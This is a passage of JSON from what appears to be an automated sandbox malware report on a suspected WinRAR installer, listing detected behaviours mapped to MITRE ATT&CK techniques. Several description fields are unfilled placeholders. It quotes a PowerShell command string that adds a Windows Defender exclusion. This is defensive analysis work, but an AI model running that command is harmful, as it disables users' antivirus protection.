\"CreatePipe\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1559","id":"string-210","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-537","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-538","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-453","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageTimeoutW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"sample.bin\"), Found reference to API \"FindWindowExW\" (Indicator: \"findwindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"sample.bin\"), Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-908","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-450","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"sample.bin\"), Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in \"sample.bin\", Found system information discovery API: \"GetEnvironmentStringsW\" in \"sample.bin\", Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"sample.bin\"), Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"sample.bin\"), Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"sample.bin\"), Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"sample.bin\"), Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-193","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"sample.bin\"), Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-901","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614.001","id":"string-143","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"sample.bin\"), Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-413","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-312","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread Error\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-304","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-409","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"sample.bin\"), Found reference to API \"SleepEx\" (Indicator: \"SleepEx\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\"), Found reference to API \"\nWaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"WaitForMultipleObjects\"; Source: \"sample.bin\"), Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"sample.bin\"), Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1562.001","id":"string-980","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-320","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-30","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-195","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-212","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-438","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-920","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-108","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\"), Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; Source: \"sample.bin\"), Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-189","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007200)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '153616385', 'hResInfo': '153617632'}\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '153616385', 'hResInfo': '153617664'}\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '153616385', 'hResInfo': '153617680'}\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '153616385', 'hResInfo': '153617648'}\" (UID: 00000000-00007200)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"$23","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"Found string \"# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data.\" (Indicator: \"Format-Hex\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Oid\"; File: \"WinRAR.chm\")\n file/memory contains long string with (Indicator: \"SHA384\"; File: \"7zxa.dll\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007012.00000000.99218.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007012.00000002.102688.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007660.00000000.106290.5723D000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007996.00000001.100488.AF200000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"winrarx64-setup.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"winrarx64-setup.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$24","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$25","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"winrar-x64-710.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00004404-60327-79-012F9A9C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00004404-60327-174-012F9D40\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00004404-60327-306-012FA103","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00003892.00000000.103702.C87E0000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$26","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$27","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$29","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network 